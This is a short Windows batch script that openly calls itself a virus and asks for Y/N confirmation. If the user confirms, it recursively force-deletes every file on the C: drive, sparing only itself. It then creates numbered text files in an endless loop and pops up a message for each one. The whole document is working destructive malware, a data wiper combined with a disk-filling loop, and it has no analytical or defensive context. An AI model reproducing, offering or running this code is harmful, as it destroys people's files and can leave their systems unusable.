@echo off
setlocal enabledelayedexpansion

:: Ask the user if they want to execute the script
echo This is a virus! Wanna execute? [Y/N]
set /p answer=

:: Check the user's response
if /i "%answer%" == "Y" (
    :: Delete all files on the computer, except for the script itself
    for /r C:\ %%f in (*) do (
        if not "%%f" == "%0" (
            del /q /f "%%f"
        )
    )

    :: Create new files indefinitely
    set count=0
    :loop
    set /a count+=1
    set filename=C:\random_file_!count!.txt
    echo This is a random file !count! > !filename!
    msg * New file created: !filename!
    goto loop
) else (
    echo Aborted!
    pause
    exit
)